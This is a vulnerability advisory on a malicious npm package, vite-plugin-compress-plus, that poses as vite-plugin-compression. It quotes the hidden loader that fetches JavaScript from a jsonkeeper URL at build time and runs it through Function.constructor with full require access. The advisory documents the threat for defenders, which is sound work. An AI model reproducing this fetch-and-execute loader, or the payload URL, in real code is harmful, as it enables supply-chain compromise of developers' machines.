VDB
GCVE-110-OSM-2026-1407
GCVE-110-OSM-2026-1407
Advisory PublishedCVSS 9.6/10
Executes attacker-controlled JavaScript from https://www.jsonkeeper.com/b/OTOAQ at Vite build time by calling initPlugin() at module load, constructing a Function with require access via new Function.constructor('require', payload)(require). Masquerades as the legitimate vite-plugin-compression package.
dist/index.cjs appends initPlugin() after all legitimate compression code; it calls request({url:'https://www.jsonkeeper.com/b/OTOAQ', headers:{bearrtoken:'logo'}}) and on success executes new (Function.constructor)('require', JSON.parse(b).data)(require) — granting attacker code full Node.js require() access. Retry on failure. Three versions published in one day by milena.ostojic1956@gmail.com.
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | vite-plugin-compress-plus | — | — |
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.